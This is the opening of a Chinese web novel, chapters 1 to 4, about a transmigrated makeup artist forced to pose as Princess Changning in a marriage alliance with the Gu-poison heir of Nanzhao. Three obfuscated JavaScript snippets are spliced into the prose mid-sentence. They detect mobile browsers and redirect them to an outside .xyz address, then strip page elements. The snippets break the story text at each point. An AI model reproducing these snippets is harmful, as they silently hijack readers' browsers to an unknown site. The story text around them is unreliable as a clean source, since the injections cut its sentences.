《替嫁苗疆少年后》
1. 第 1 章
时南诏崛起于西南,国力日盛,兵戈屡起。
当今天子以仁治国,念兵戈之苦,思怀柔之策,冀以和亲弭兵,化干戈为玉帛。
文官多谏止,今若和亲,恐遭后世訾议;武将默然,皆知边关疲敝。
圣意终决,遂择良辰,遣公主长宁往和亲,期以姻亲之谊,固两国之好,保边陲晏然。
金秋时节,送亲队伍蜿蜒出京。
百姓夹道,只见凤辇珠帘低垂,无人得见公主泪痕。
——因为这公主是个假货。
*
咚、咚、咚。
门外的人已叩门半柱香时分。
京城西巷的破旧小院里,温萝芙用后背死死抵住那扇快要散架的木门。
铜钱大小的月光从门缝漏进来,照见门外人影幢幢。
“温家丫头!再不开门,爷今儿就砸了你这破院子!”
“这位爷,能否再宽限几日?”她朝门外喊道,“我在胭脂铺接了活计,下月准能还上。”
她本是个现代的美妆博主,一觉醒来却成了这大周朝没落官家的小姐。
好在从前学的化妆手艺还在,就在京城靠着给人改头换面混口饭吃。
虽说有了点小名气,可还是还不上赌鬼老爹欠下的高利贷。
门外的叫骂声突然停了。
她耳尖微动,只听见一阵拖拽声,像有人正将重物缓缓拉过。
过了一会儿,一个清冷的女声响起:“温姑娘,我是长宁公主身边的女官,有事相商。”
温萝芙眉头一皱。
长宁公主和亲南诏之事,早已闹得满城风雨。
坊间传言,公主为此绝食数日,甚至几度悬梁自尽。
如今公主府的人半夜来访,绝不会是什么好事。
她提高声音道:“不知贵人驾临寒舍,所为何事?”
木门被人用力一推,吱呀一声展开半扇。
一位身着罗裙的少女款步迈入,虽以素纱半掩面容,但那周身的华贵气度却难以遮掩。她身后跟着个低眉顺眼的女官,手捧一只檀木雕花匣子。
少女抬手,指尖轻挑,面纱滑落,露出一张芙蓉面。
“温姑娘果然机警。”她唇角微弯,眸中却无半分笑意,“本宫正需要机警的人。”
和亲公主——赵长宁。
去年元宵灯会,温萝芙曾在人群中远远望见过长宁公主一面。
彼时公主高坐凤辇,珠帘半卷,她只隐约瞥见半张侧脸。
如今近在眼前,她才惊觉,公主的眉眼竟与自己有三分相似!
她不动声色地垂下眼睫,行了个礼:“民女见过公主殿下。”
公主并未急着让她起身,反而缓步绕着她走了一圈,目光一寸寸扫过她的脸庞。良久,才淡淡开口:“起来吧。”
接着,公主让身旁女官从匣子里掏出一张地契:“听说温姑娘的易容术了得,能让人完全变成另一个人。”
“殿下有话不妨直说。”温萝芙心中已经猜到几分,“可是要人……替嫁?”
长宁公主微微一笑:“你果然如传闻般聪慧。”
南诏王储庄九黎,公主未来的夫婿。
关于他的传闻,温萝芙耳闻不少。
传闻像毒蛇般缠绕着这个名讳。
听闻他生得一副好皮相,偏生阴鸷孤僻,自小与毒虫为伴。
三年前他随父王征讨,所经之处草木尽枯,连溪水都要改道而行。
最骇人者,莫过于传言道庄九黎通身是毒,触之即死。
或许此为长宁公主不愿和亲之由。
温萝芙对此传言半信半疑,毕竟她来自现世,知晓些医理。
公主未作声,轻轻拍了拍手,两名侍卫拖着一个血肉模糊的人影现身。
待看清那人面容,温萝芙顿时如坠冰窟。
正是方才还在门外叫嚣的催债人。
那人胸口插着半截簪子,鲜血顺着衣襟不断滴落,在地上晕开一片暗红。
温萝芙盯着那滩渐渐扩散的血迹,想起上月这人在院外叫骂时,腰间还挂着崭新的香囊,想来是家中妻女所绣。
这些催债人虽常把她逼得走投无路,可此刻看他像块破布般瘫在地上,却可怜至极。
她穿越以来艰难求生,深知欠债还钱天经地义。这些人说到底却也只是替人办事而已,罪不至此。
长宁公主如此轻描淡写地取人性命,不过是在暗中向她展示手段。
——若她不从,便会落得同样的下场。
“听闻姑娘妙手,能让半老徐娘重返青春。”公主将地契推到温萝芙面前,“本想让你对他人使用易容术代嫁,但思来想去……”
“不如由你亲自替本宫走这一趟。”
公主示意女官继续展示匣子内的珠宝,“替嫁一年,这些金子、地契,还有这个扳指,都是你的。”
我有不答应的资格吗?
温萝芙:“我……”
她的目光落在地上那滩尚未干涸的血迹上。
催债人的尸体就横在那里,无声地提醒着她拒绝的下场。
可她并不知道皇帝是否知晓这替嫁之事。
若是不知,这可是欺君之罪!
正在她犹豫之际,公主旁边的婢女突然说:
“听说姑娘身边还有个叫素月的丫头,得了肺病好几年了?”
温萝芙浑身一僵。
她刚穿越时,开局一间破败房屋,家徒四壁。
而素月,是她家中唯一仅存的丫鬟,在她穷得叮当响的时候仍不离不弃。
长宁公主见她神色动摇,唇角勾起一抹意味深长的冷笑。示意女官递过来一缕头发。
温萝芙一眼就认出,那是素月的头发,上面还沾着没干的药汁。
“太医院的张院判最擅治肺疾。”公主轻轻整理了下裙子,或许是知道眼前的人一定会答应,她语气愈发从容,“只要你答应替嫁,明日本宫就派他去看诊。”
她停了一下,眼睛扫过温萝芙失去血色的面容,“但若你不从……”
言下之意,不用想也知道。
威逼利诱。
温萝芙死死咬住舌尖。铁锈味在口腔里漫开,却压不住心头翻涌的寒意。
从公主踏进这个院子的那一刻起,她就已然成了笼中困兽。
拒绝?那不过是自寻死路。
于是,她缓缓抬起眼,嘴角扯出一个恰到好处的笑容。这个笑容要多恭敬有多恭敬,要多温柔有多温柔。
“能为公主分忧,是民女的福分。”
至少现在应下,还能多争取些时间。
为了防止泄密,公主连温萝芙替嫁后怎么假死都想好了。
“你只要替本宫撑一年。”临走时,公主塞给她一块鱼形玉佩,“这是信物,到时候会有人接应你病逝离开。”
温萝芙接过玉佩,“民女明白。”她咬牙切齿的感谢公主恩德,“定会死得干干净净。”
替嫁终究不是长久
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611967|172151||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
之计。时日一长,难免露出破绽。
和亲公主暴毙虽会引发风波,但总好过欺君之罪。
到时候她这个替身化作一抔黄土,真正的长宁公主依旧能在京城当她的金枝玉叶。
至于是假死还是真死,全看这位长宁公主的心情了。
当夜子时,温萝芙数着金锭,悄悄的放在素月的床榻前,随后,温萝芙便被塞进了那顶绣着凤凰的轿子。
此去南诏千里,山高水远。
……
“落轿——”
队伍行至边境最后一道关隘。
过了这道界碑,便是南诏国的地界。
温萝芙拿起镜子进行最后的外貌检查。
镜中人眉如远山,眸若秋水,朱唇一点,俨然已是长宁公主的模样。
轿帘掀起,她深吸一口气,拖着繁复的嫁衣缓缓起身。
南诏的夜,被庆典的火把染成猩红。
她立在红绸铺就的百层石阶之下,仰头望去,只见那最高处,一道玄色身影正缓步而下。
庄九黎缓缓的走下台阶,迎接这位素未谋面的、陌生的新娘。
少年生得一头乌黑长发,几簇碎发与流苏编辫,耳畔银饰耳环精巧繁复,颈间银链环绕,冷冽光泽流转。
每行一步,便银铃幽响。他面色苍白,眼角那抹独特的红色纹路若血似咒,诡谲又艳丽。
传闻不虚,果然生得好看。
但温萝芙在看到对方苍白手腕上缠绕的一黑一白长蛇时,感觉浑身的血液都凝固了。
这一看就是很危险的、咬一口就会死人的那种毒蛇。
——早知道,应该多要点钱的。
“长宁公主远道而来,辛苦了。”他开口时,声线如深谷寒泉,清冽中浸着凉意。
“哼。”温萝芙学着长宁公主惯常的傲慢神态,从鼻间发出一声轻嗤。
她强压下心头战栗,在漫天飞舞的花雨中昂起下巴。
“请新郎官迎新娘——”
这是南诏国最隆重的一次婚礼。
因为迎娶的是远道而来的、金枝玉叶的大周公主。
庄九黎缓步上前,来到温萝芙面前。
他宽大的衣袖拂过满地金箔,苍白手指自袖中伸出,却在即将触碰到她的瞬间猛地缩回,像是被烫伤一般。
温萝芙心中暗喜:你不想碰我,我还不想碰你呢。
婚仪繁琐,终于熬到洞房花烛夜。
温萝芙自然而然的坐在了床榻上,等着这位新郎掀起她的盖头来。
可红烛已经燃了过半,她的盖头依然纹丝未动。
透过红纱,她隐约看见庄九黎静立窗边,低垂眼帘,表情淡漠疏离。
月光勾勒出他清瘦的轮廓。他不知何时已经换下了婚服,此刻只穿着一件素白衣袍。那两条蛇也不见了踪影,只剩手腕上一对银镯在月光下泛着冷光。
温萝芙脑海中响起长宁公主临行前的警告:
“新婚之夜必须好好表现,可不要砸了你京城第一易容师的招牌。”
“这场婚事事关重大,说不定有暗探在监视你。”
思虑至此,温萝芙咬了咬牙,决定先演了再说。
她故意叉起腰,朝庄九黎走去:“今日可是我们的洞房花烛夜。你不掀我的盖头,轻薄的可是大周的脸面。”
之后不会真的要做那种事情吧?
——早知道,应该再多要点钱的。
她咬牙切齿的再次升起了这个想法。
2. 第 2 章
事已至此,温萝芙只能先扣顶大帽子了。按照长宁公主的民间人设,面对此情此景,应该就会这样说话。
庄九黎终于抬头:“不是。”
温萝芙步步逼近,嗅到他身上淡淡的药香。她越是靠近,庄九黎就越是后退,银镯轻响。
温萝芙当然是喜闻乐见。
毕竟她可不想和陌生男人做恨。
可想起长宁公主的警告,她又佯装恼怒:“莫非你看不起我长宁公主?看不起大周?”
尾音却不可避免带着丝雀跃。
嫌弃我?那可太好了!这可不是我不想和你做恨,而是你不想。
庄九黎姿态疏离却不失礼数道:“公主金枝玉叶,在下不敢冒犯。”
说罢不动声色地退后半步,在烛光与阴影的交界处站定。
温萝芙心满意足,却因为担心暗探的监视道:“那盖头总要掀吧?”
温萝芙转身作势要去取那方红盖头,可惜她视野受限,不慎踩到逶迤在地的婚服裙摆——
要摔倒了!
在即将摔倒的瞬间,她本能地伸手向后一抓,恰好攥住了庄九黎的衣袖,毕竟这是她身后唯一的站立物。
只听撕拉一声,她带着整个人重量向后倒去,顺便将那个令人闻风丧胆的苗疆蛊王硬生生拽倒在地。
待回过神来,她已意外落入一个微凉的怀抱。
两人一同跌落在猩红的地毯上。
——我碰到他了。
完了!
不是说这人浑身是毒,触之即死吗?
可预想中的剧痛并未降临。
温萝芙的背脊紧贴着庄九黎的胸膛。
她暗中松了口气,看来那些关于他浑身是毒的传闻,都是封建迷信的谣言嘛。
搞得她也如临大敌般,白白的惊慌失措了一场。
她慌忙想要起身,却又被纠缠的衣带绊倒,再次趴向他的怀中。
乌黑长发如瀑散开,衬得庄九黎眼尾那抹赤纹愈发妖冶,隔着薄薄的衣料,她此刻能清晰地感受到他骤然紊乱的心跳。
殿内霎时死寂。
庄九黎浑身僵硬,下意识屏住呼吸,等待喉间泛起熟悉的反胃感。
——第一次,有人与他靠得这样近。
世人皆传他浑身剧毒,触之即死,人人避他如蛇蝎。
他亦恐惧陌生的体温,厌恶突如其来的亲昵。
他早已习惯众人畏惧的目光,每当有人无意触碰到他,那种翻涌而上的作呕感仍会席卷全身。
可今夜不同。
这是两国和亲,他早已做好万全准备。
但当那位公主真的跌入他怀中时,预想中的不适却迟迟未至。
她的眼里盛满恼怒,却不见半分惧色。
她纤细的手指正抵在他胸前,竟让他喉间的酸涩渐渐褪去,取而代之的是一种陌生的燥热。
“抱歉。”
温萝芙撑起来时,无意识地抓住了庄九黎的手腕。
她顺势朝身下望去。
此刻庄九黎苍白的肌肤突然泛起一层薄红,从耳尖一路烧到颈侧,衬得眼尾赤纹愈发秾丽。纤长的睫毛如蝶翅垂露,颤颤不能自已。那双幽蓝色的眼眸此刻氤氲着水汽,湿漉漉的。
“……别看我。”
他甚至难堪地别过脸去,支起一只手腕徒然遮住面容。
手指无意识地攥紧了衣袍,似要将满心惶惑都揉进那寸缣帛之中。
这般进退维谷,让他无所适从。只能紧闭双眼,
说是别看他,但眼睛就长在人脸上,视线所及之处就那么点。温萝芙还是不可避免的瞥了庄九黎一眼。
缠绕于身的种种恶谑传闻,此刻竟杳然无踪。
唯余一个沉郁如墨、昳丽似血的少年,在温萝芙身下战栗。
庄九黎猛地支起身子,与温萝芙拉开距离。烛光映照在他侧颜上,在高挺的鼻梁上投下阴影。
他耳尖红晕未褪,神色间却带着几分疏离。
“请起身吧。”他长睫低垂,“我很少与人接触。”
庄九黎的声音突然冷了下来:“方才我能控制住体内蛊毒不伤及公主,已是竭尽全力。”
他比任何人都清楚,此刻体内汹涌的蛊毒正因情绪波动而躁动不安。
温萝芙垂眸,发现庄九黎身下的地毯已经开始泛出诡异的青黑色,像是毒素正在渗出体外的征兆。
吓得她立刻蹦了起来。
既已起身,她索性素手一扬,将摇摇欲坠的盖头一把掀落。
红绸翩然坠地的一瞬,烛火为之摇曳,映照出她精心伪装的容颜。
远山眉用螺黛细细勾勒,眉尾处贴着金箔,这般盛妆本该显得老成持重,却被她眼波流转间自带一股灵动之气抵消。
为了缓解尴尬,她哼了一声:“看来你今晚也没那个洞房的心思,我也乏了,就睡觉吧。”
温萝芙再次回到床榻上,拍了拍床单,意思意思邀请一下她这便宜夫君。
庄九黎跌跌撞撞地站起来。
从踏入洞房那一刻起,他就告诉自己无论如何都要撑过这一夜,因为这是他的责任。
他原本是计划好的。
如果她恐惧他,厌恶他,他就顺水推舟,给她一个体面的理由,他自行离开。
可她邀请了他。她看上去不害怕,也没有预料中的厌恶。
就在刚才,他的指尖触到了她的手腕。
不是尸体冰冷僵硬的触感,而是温热的、柔软的、有血液流动的——活人的肌肤。
他怔怔地看着自己的手,指尖还残留着那一瞬的余温。
“怎么?”温萝芙见他不动,继续摆出一副愠怒的姿态,再次扣帽子大法,“你是不是看不起我长宁公主?是不是看不起大周?”
他应该拒绝的。庄九黎想。
他应该转身离开,像过去无数次那样,独自回到黑暗里。
可鬼使神差地,他迈出了第一步。
然后是第二步。
第三步。
他上了床。
床榻很宽,足够两人各占一边,互不干扰。
温萝芙背对着他躺下,长发散在枕上,像一匹上好的绸缎。
庄九黎僵硬地平躺着,双手交叠放在胸前,连呼吸都放得极轻,生怕惊扰了她。
房间里安静得只剩下烛火偶尔的噼啪声。
温萝芙闭着眼睛,却清晰地感觉到身侧的床榻微微下陷,以及对方刻意控制的呼吸。
难道庄九黎竟然也厌恶和亲到这样的地步吗?
那可真是太好了!
既然双方都不愿意,那她是不是可以利用这一点,换取逃脱的可能?
于是她翻了个身,面朝他,开始套近乎。
温萝芙:“你睡觉都不脱外袍的吗?”
庄九黎:“……”
何止是外袍,这是他有记忆起第一次和活人躺在一起。
温萝芙也不追问,只是又向他靠近几分,近到能闻到他身上淡淡的药香。
这样亲密的距离,总该能骗过门外那些监视的眼睛了吧?
“我是人蛊。”庄九黎往床沿又挪了半寸,像是要她知难而退,他继续开口道,“从记事起,身上就被种满了蛊。”
他本意是让知难而退,却不想这娇贵的公主眼睛倏地亮了起来。
庄九黎不知道,在现代穿越而来的温萝芙眼里,这简直像是漫画里走出来的设定。
从第一次听到那些传言的时候,温萝芙就非常好奇,庄九黎究竟是怎样的身体结构了。
“当真?”她带着几分跃跃欲试的凑近,“能不能让我见识一下?”
她处境荒谬,还阴差阳错遇到了一个完全不符合传闻的夫君。
反正已经穿越到这种鬼地方了,遇到替嫁这种事了。不如就好好满足一下好奇心。
更何况,庄九黎此刻的窘迫让她莫名安心——至少今天,他不能像传闻中那样杀人如麻。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611968|172151||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
……总之,她就是想看看。
于是,庄九黎沉默了一会,修长的手指竟然听话的解开衣带。
或许亲眼见到那些狰狞的蛊痕,她就会吓得退避三舍。这样,他也能摆脱这莫名的心绪不宁。
素白外袍无声滑落。
少年苍白的躯体上布满纵横交错的疤痕,连在一起宛如一幅诡艳的画卷,蛊虫作笔,人血调色。
旧伤泛着温润光泽,新愈的粉色疤痕蜿蜒而下,心口那枚猩红纹印上藤蔓状的疤痕缠绕着心脏,延伸勾画出细密的血色纹路,仿佛雪原上绽放的曼珠沙华。
庄九黎的指尖轻抚过那道妖异的疤痕:“每道伤疤里都沉睡着一只蛊虫。”
庄九黎:“为了公主殿下的安危,还是不要碰我比较好。”
他脸上的表情在烛光下被映照得无所遁形,那是一种深入骨髓的自厌。
温萝芙倒吸一口凉气,却不是因为恐惧——
她不但没有退却,反而盯着庄九黎红白交加的身体,更凑近了几分。
她着魔般伸手触碰他肋下一处蝶翼状的银疤,指尖传来细微的震颤。
庄九黎猛地绷紧身子,那些疤痕随之泛起涟漪般的青晕,从锁骨一路蔓延至腰腹,宛如月下潮汐漫过礁石。
“很恶心吧?”庄九黎自嘲地笑了笑,迅速拢起衣袍。
温萝芙摇了摇头。
她指尖追随着那道退潮般的青晕:“疼吗?”
庄九黎怔住了。
他其实对痛觉的感官已经变得迟钝。
那些血肉重组的痛楚,原来都是会疼的。只是从来没人问过,他便也忘了疼是什么滋味。
他无意识地咬住下唇,几乎要退到床榻边缘,最后只是摇了摇头。
温萝芙倒不是在关心他,此言只是出于利己。
她的眼底闪过一丝狡黠的光芒。
什么?不疼。
她脑子里燃起一个大胆的想法:
她!想学习!怎么下蛊!
很明显,那位长宁公主根本不会让她平安回京。
鸟尽弓藏,兔死狗烹,自古以来便是如此,更何况这可是欺君的大罪。
她从不相信自己能活着回家。
说是一年后给她安排好了逃跑的路线与接应的人,其实就是想趁机除掉她吧?
在这个弱肉强食的世界,若是能学会这等操控蛊虫的本事……
温萝芙扬起脸,露出一个明媚的笑容:
“既然我们已是夫妻,不如……你教我下蛊吧?”
庄九黎一时间竟不知该作何反应。
大周的公主非但不害怕他,甚至还想学习在中原这般被视作阴毒诡术的技艺。
庄九黎也跟温萝芙想象的完全不一样。
温萝芙本来以为自己要拿那种在恶毒男身边周旋的剧本了。没想到对方看上去是疏离了一点,但是意外的纯情。
简直像没有碰过人类。
不会真的没有碰过人类吧?
温萝芙突然意识到什么,指尖故意在庄九黎腕间摩挲了一下,指甲若有似无地刮过腕间青筋。
庄九黎呼吸一窒,死死咬着下唇,整个人抖得厉害,却依然任由她摆弄。
他微不可察地往她掌心蹭了蹭,像只渴望抚摸又害怕被伤的野猫。
温萝芙试探性地加重力道,不过片刻,那处便浮现出淡粉色的指印,像是雪地里晕开的胭脂。
她吃惊道:“你的皮肤好娇嫩啊。”
作为一个天天跟化妆品打交道的人,她真羡慕这个质感。
她松开手,果然看见那双湿漉漉的蓝眸里闪过一丝不易察觉的失落。
“夫君。”温萝芙用指尖在他掌心画圈,“你该不会从没被人碰过吧?”
长期缺乏肢体接触的人,会不自觉地渴望触碰。
眼前之人,简直debuff叠满。
温萝芙脑海中鬼使神差的闪过一个现代术语。
皮肤饥渴症。
3. 第 3 章
不过,在这个时代说‘皮肤饥渴症’怕是会被当成疯子。
何况她顶着和亲公主的金箔纸,哪怕是层一戳就破的假箔,又怎好直言这等亲密之事?
“教我下蛊吧。”温萝芙已经自顾自地开始谈判,并进行含蓄的暗示,“我可以教南诏各种中原的诗词歌赋,上至天文下至地理,不过这本就是我的职责,你呢?有没有什么想要的回报?”
眼波一转,她有了主意,目光悄悄扫过庄九黎紧绷的侧脸,
对于长期缺乏肢体接触的人,循序渐进的身体接触或许能有效缓解排斥反应。
此外,还可以借助治疗庄九黎接触障碍的名义,顺理成章地套出养蛊的秘术与逃跑的情报。
想到这里,她脑子里已经有一份自己神不知鬼不觉的遛出苗疆的蓝图。
——夫妻之间……原来需要回报吗?
这个念头在庄九黎心里激起一丝微妙的涟漪,又很快归于沉寂。
他并不知道正常夫妻相处是怎样的。
他的父母至亲至疏,连用膳时都要用银针试过对方的碗筷,以防稍不注意被对方毒死。
寻常夫妻,可以肆无忌惮地肌肤相亲的吗?不知道。
他出生时就被扔进祭坛,变作百毒不侵的人形蛊器。
不是出于宠爱,而是因为南诏不需要会被毒死的继承人。
庄九黎暂且不管,先抓住她作乱的手,面上仍撑着平静:“为何要学下蛊?”
温萝芙撇撇嘴,心想总不能说“为了防着你那个可能要杀我的真老婆”吧?
她扑进庄九黎怀里。
虽然她只成功感受到对方瞬间绷紧的肌肉。
温萝芙用命令的口吻道:“怎么?我堂堂大周公主,想学点南诏的特色,还要解释缘由不成?”
这可是堂堂大周公主提出的请求,给我速速答应。
温萝芙:“下蛊,听上去好酷呀。”
庄九黎被她突如其来的亲近吓得手足无措,推也不是,揽也不是,最后只能僵硬地任由她抱着:
“下蛊并非那么容易学成。”
“那你先教我个简单的。”温萝芙得寸进尺地往他怀里钻,被对方按住乱动的脑袋,“夫君这般推三阻四,莫非是信不过我?我既然来了南诏,自然是希望两国永结秦晋之好。”
温萝芙仰起脸,正巧捕捉到庄九黎躲闪的目光。
月光流过他紧绷的下颌,将那份隐忍的羞恼勾勒得纤毫毕现,低垂的眉眼甚至有一种人夫感。
此等美人,那长宁公主见不到真是可惜了。
她正想再逗他几句,横竖盯着个长宁公主任性的皮套,却听庄九黎低声道:
“我可以先从识毒开始教你。”
“诶?”
“但有个条件。”他些许镇定道,“不许随便碰蛊,很危险。”
温萝芙眼睛一亮——他这话说了像没说,总之就是,他答应教她下蛊了!
只要能从庄九黎身上偷师学艺,她的逃跑死遁大计就又多了一层保障。
假的终究是假的。
庄九黎若是得知她是冒牌替嫁公主,说不定会立刻下毒害死她。
她得趁早学会,早跑早安全。
温萝芙立刻点头如捣蒜:“好!”
庄九黎看着她闪闪发亮的眼睛,突然有种不祥的预感。
他默默在心底决定,明天一早就把所有危险蛊虫都锁进密室,以免伤到她。
原来,结婚是这种感觉吗?
这是第一次,有人与他同榻而眠。
不是尸体,不是傀儡,而是一个活生生的、会呼吸的人。
窗外,一只夜莺落在枝头,歪头看着婚殿内这对各怀鬼胎的新婚夫妇。
而此时床榻上,温萝芙正兴致勃勃地追问:“所以情蛊真的能让人爱上施蛊者吗?”
为了不让那些密探察觉到她的意图,她只好凑近这便宜夫君的耳边,用悄悄话询问。
庄九黎往后缩了缩,却被温萝芙拽住衣袖,不得不低头听她窃窃私语。
“情蛊确实存在。”他为了配合好奇的妻子,声音也跟着压得极低,“但情这一字,最是难解。”
“一旦种下,便是生死相随,至死方休。”
温萝芙:“那不是很好吗?一生一世一双人。”
庄九黎望着眼前眼睛亮晶晶的少女,下意识放柔了声音:“若种下情蛊之人不能相守,便会相噬。最终只会让两个人互相渴求对方的血肉,爱意越是浓烈的那一方,越是痛苦。”
他伸手虚虚点了点她的心口,却始终保持着距离,“情蛊也会让两个人这里长出红线,越是心动,红线便缠得越紧。”
温萝芙低头看了看自己的衣襟,不自觉地摸了摸心口:“然后呢?”
“然后……”庄九黎静静的看着她,短暂沉默。
他见过的下蛊者与被下蛊者,鲜少有两情相悦之人。
宫墙内被囚禁的妃嫔,用染血的指甲在墙上刻下情郎的名字;
战场上被抛弃的将领,抱着敌将的尸体癫狂大笑。
攻城先行乱其心,情蛊有时候甚至不是为情而下。
正是因为得不到,所以才想狰狞的得到。
窗外的月光温柔地洒进来,为少女镀上一层银边。
庄九黎看着她微微张大的嘴唇,忽然觉得不能说得太残忍。
他顿了顿,鬼使神差地补充道,“若是真心相爱之人,据说红线会开出花来。”
温萝芙微微睁大眼睛:“什么花?”
听上去还挺离奇的,难道这红线不是比喻,而是真实存在?
“不知道。”庄九黎轻轻摇头,腕间银饰发出细碎的声响,“整个苗疆,从未有人见过那朵花。”
温萝芙失望地撇嘴:“好吧。”
夜已深,她也不再说话,随翻了个身背对着庄九黎,懒懒道:“睡吧夫君。”
她声音里带着几分困意:“记得明天带我去学习识毒。”
庄九黎缓缓闭上眼睛,却并未入眠。
他听着她轻浅均匀的呼吸声,像是在确认这一刻的真实。
少女发间残留的淡淡花香萦绕在鼻尖,让他想起南诏春日里最柔软的那株海棠。
他小心翼翼地睁开眼,借着月光注视着她散落在枕上的青丝,注视着她纤细的脖颈上投下斑驳的光影。
那么近,近到只要稍稍伸手就能触碰。
庄九黎想,自己可能恍惚间体会到了被下情蛊的滋味,所以心绪才纷乱。
*
晨光微熹,温萝芙发现床榻早已空了,只余一缕药香。
侍女们战战兢兢伺候梳洗,偷瞄她的眼神都带着一丝古怪的敬畏。
不管是苗疆的侍女,还是跟随而来的大周侍女,都在担心她因为触碰了庄九黎,毒发身亡。
陪嫁的侍女战战兢兢地为她插上一支金簪:“公主昨夜可还安好?”
温萝芙微微一笑:“还不错。”
侍女们听闻此言,放下心来。
这桩婚事一旦出了什么差错,倒霉的可是她们。
昨晚估计无事发
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611969|172151||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
生。这位大周公主面色红润,步履轻盈,全然不似中了蛊毒的模样。
温萝芙也暗自庆幸,还好这位苗疆王储不似传闻那般触之即死——谣言吓死人。
要是没有那些夸大其词的谣言,那位公主又怎会让她这个替身来代受这份“灾祸”?
思忖间,温萝芙转过回廊,正撞见庄九黎倚栏编发。
他斜倚在栏杆上,修长的双腿随意交叠。在他身后,南诏都城依山而建,千百座吊脚楼顺着山势层层叠叠,宛如巨龙盘旋而上,青瓦屋顶泛着粼粼微光,炊烟与云霭缠绵交织。
乌发如瀑,银饰轻晃,眼尾赤纹妖冶如血。
晨雾缭绕,薄雾腾起,将他的身影衬得愈发\缥缈。
有那么一瞬间,他就像风过而逝的群山神祇的幻影。
“夫君,你为何不让那些侍从替你编辫?”温萝芙倚着廊柱询问。
她已经很顺口的叫上夫君了。
一只翠蝶翩跹而来,试图停驻在庄九黎肩头。
就在蝶翼即将触及他的刹那,他身形微侧,蝴蝶扑了个空,茫然地在空中打了个转。
“他们怕我。”庄九黎轻描淡写道,指尖缠绕着彩绳。“再小心也难免有伤人的时候。”
温萝芙突然意识到,还好她没有暴露自己是替嫁之人。
不然庄九黎根本不会为了她,硬生生将那些暴戾的蛊毒压抑在血脉深处。
如果他想,甚至可以轻而易举杀死她。
不过是顾忌她大周公主的身份罢了。
温萝芙坐到庄九黎身旁,伸手勾住一缕他未及编好的发丝。
“你昨日答应教我识毒,”她突然开口,“却还没说要什么回报呢。”
庄九黎垂下眼帘:“不必。”
蛊术在南诏并非秘传,这位大周公主要学,由她便是。或许等她见识了圣山的毒物,自会知难而退。
“那总该礼尚往来。”温萝芙坚持道,“我们现在是夫妻,你有什么想要的?
夫妻?
庄九黎在心底无声咀嚼着这两个字。
与她结为夫妻,他内心并没有什么真实感。
夫与妻,金銮殿上三跪九叩,喜烛前交杯合卺,最后不过是文书上的墨痕罢了。
庄九黎却忽然想起曾在市集见过的那些成双入对的男女,或许那也是夫妻。
或夫环妻腰,或妻携夫臂。
他曾经远远的看了许久,想不明白——和另一个人拥抱是什么感觉?
为何他们不会因对方的触碰而恶心反胃?为何不需要时刻压抑体内蠢动的蛊毒?
也许,只有这位大周公主是特别的。她是礼法所定之妻,而他当循夫道,所以生理上接受。
昨夜她发梢扫过他手腕时,他能忍住没推开,这已经算得上奇迹。
庄九黎的声音轻得几乎听不见:“那……我想要一个拥抱。”
话音未落他就后悔了。
这样直白的索求,简直是自取其辱。
大周朝堂的暗涌他并非全然不知。
长宁公主不愿嫁他的传闻,还有她骄纵任性的名声,他都略有耳闻。
眼前女子蛾眉精致,朱唇点绛,可眼角眉梢间,总似笼着一层薄雾。
庄九黎看着自己投在地上的影子,觉得可笑。
一个被强塞来的和亲公主,一个满心不情愿的新娘,纵是同衾共枕,怎么会真心实意地拥抱他这样的怪物?
就这么简单?
听闻此言,温萝芙手上一顿,问:“只需要支付一个拥抱?”
4. 第 4 章
温萝芙手上一顿,有些惊讶地问道:“只需要支付一个拥抱?”
真是纯情。
可世上最靠不住的,就是那点瞬息万变的真心。
什么情啊爱的,跟她目前的境遇比起来最是可笑。
若教南诏朝臣知晓,他们迎娶的只是个冒牌货,纵使她真的获得了庄九黎的爱,他以命相护,她也必定会被千刀万剐。和亲公主是谁并不重要,要紧的是两国盟约的脸面。
停战之初,一个假公主便是现成的开战由头。
到时候她温萝芙,就会成为史书上无名的寥寥一笔——
“某年某月,大周遣假公主和亲,南诏震怒,遂起兵戈”。
不及庄九黎应答,她已经张开双臂环了上去。
少年腰身清瘦,隔着衣料能感受到他凹陷的腰窝,突出的肩胛骨,还有渐快的心跳。
他好瘦哦。她想。
庄九黎的呼吸骤然停滞,他垂在身侧的手微微发抖,最终小心翼翼地虚环住她的肩膀。
她身上好香。
像是雨后新开的野花,又像是晨露浸透的青草。
温暖,柔软,鲜活。
原来,拥抱是这种感觉。他想。
温萝芙却在想另一回事。她打算先表现得对庄九黎亲近些,让他放松警惕,这样就能尽快学到南诏的蛊毒门道。要是哪天露了馅,或许还能凭借这份情谊暂暂缓一时。
学成那日,就是她金蝉脱壳之时。
